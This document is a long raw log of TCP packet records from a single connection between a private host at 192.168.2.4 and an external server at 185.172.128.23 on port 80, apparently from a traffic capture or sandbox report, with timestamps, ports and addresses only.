Apr 17, 2024 06:57:14.820152044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.820157051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.820178986 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.820179939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.820208073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.820626020 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.820642948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.820661068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.820672989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.820676088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.820698977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.820698977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.820720911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.820828915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.820852041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.820867062 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.820869923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.820883036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.820900917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.820900917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.820931911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.821130037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.821171999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.821171045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.821190119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.821203947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.821221113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.821248055 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.821501017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.821525097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.821549892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.821549892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.821566105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.821569920 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.821585894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.821602106 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.821799994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.821841955 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.821886063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.821903944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.821918964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.821933031 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.821963072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.821963072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.822190046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.822211981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.822236061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.822243929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.822252989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.822259903 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.822288036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.822315931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.822635889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.822668076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.822689056 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.822690964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.822705030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.822706938 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.822731972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.822766066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.845424891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.845443010 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.845458031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.845470905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.845597029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.845597029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.845597029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.845833063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.845871925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.845880985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.845896006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.845911026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.845918894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.845937014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.845967054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.846700907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.846718073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.846745014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.846760035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.846760988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.846774101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.846780062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.846790075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.846805096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.846808910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.846818924 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.846831083 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.846847057 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.846868038 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.847495079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.847511053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.847527027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.847541094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.847548962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.847548962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.847580910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.847580910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.869178057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.869194984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.869210958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.869224072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.869344950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.869344950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.869344950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.869395971 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.869434118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.869436026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.869482994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.869505882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.869519949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.869554043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.869554043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.869767904 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.869816065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.869865894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.869882107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.869898081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.869925022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.869925022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.869955063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.870100021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.870146036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.870153904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.870161057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.870176077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.870196104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.870196104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.870225906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.870429993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.870477915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.870507956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.870524883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.870538950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.870560884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.870560884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.870590925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.871059895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.871076107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.871092081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.871105909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.871128082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.871128082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.871159077 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.871314049 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.871340036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.871362925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.871365070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.871380091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.871383905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.871402025 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.871421099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.872095108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.872127056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.872144938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.872150898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.872160912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.872170925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.872194052 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.872195005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.872505903 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.872540951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.872555017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.872556925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.872570992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.872575998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.872591972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.872607946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.873123884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.873151064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.873167038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.873176098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.873181105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.873203039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.873203039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.873231888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.874521017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.874547958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.874563932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.874577999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.874578953 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.874578953 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.874612093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.874612093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.874882936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.874900103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.874917030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.874932051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.874933004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.874957085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.874985933 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.875260115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.875277042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.875293016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.875308037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.875308990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.875334024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.875349045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.875900030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.875927925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.875945091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.875957966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.875958920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.875984907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.875984907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.876004934 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.876060009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.876090050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.876106024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.876136065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.876161098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.876176119 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.876209021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.876209021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.876653910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.876708984 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.876719952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.876735926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.876749992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.876763105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.876792908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.876794100 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.877099991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.877116919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.877132893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.877147913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.877156973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.877156973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.877187967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.877187967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.877408981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.877427101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.877443075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.877458096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.877458096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.877487898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.877487898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.877510071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.877767086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.877784014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.877824068 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.877830982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.877845049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.877863884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.877872944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.877902031 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.878065109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.878104925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.878119946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.878125906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.878134012 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.878143072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.878166914 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.878166914 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.878387928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.878434896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.878441095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.878457069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.878474951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.878485918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.878510952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.878510952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.878914118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.878947973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.878962994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.878972054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.878977060 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.878988028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.879012108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.879193068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.879209995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.879225969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.879240990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.879240990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.879260063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.879287004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.879518032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.879570961 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.879579067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.879585981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.879601002 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.879610062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.879626989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.879656076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.879998922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.880021095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.880037069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.880052090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.880054951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.880054951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.880088091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.880088091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.880266905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.880290985 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.880321980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.880322933 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.880346060 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.880361080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.880397081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.880397081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.880611897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.880659103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.880672932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.880698919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.880712986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.880719900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.880739927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.880767107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.903778076 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.903830051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.903846025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.903860092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.903954029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.903954029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.903954029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.903954983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.904042959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.904058933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.904082060 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.904095888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.904097080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.904097080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.904151917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.904151917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.904344082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.904369116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.904385090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.904392004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.904398918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.904431105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.904431105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.904464006 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.904684067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.904732943 CEST	80	49730	185.172.128.23	192.168.2.4
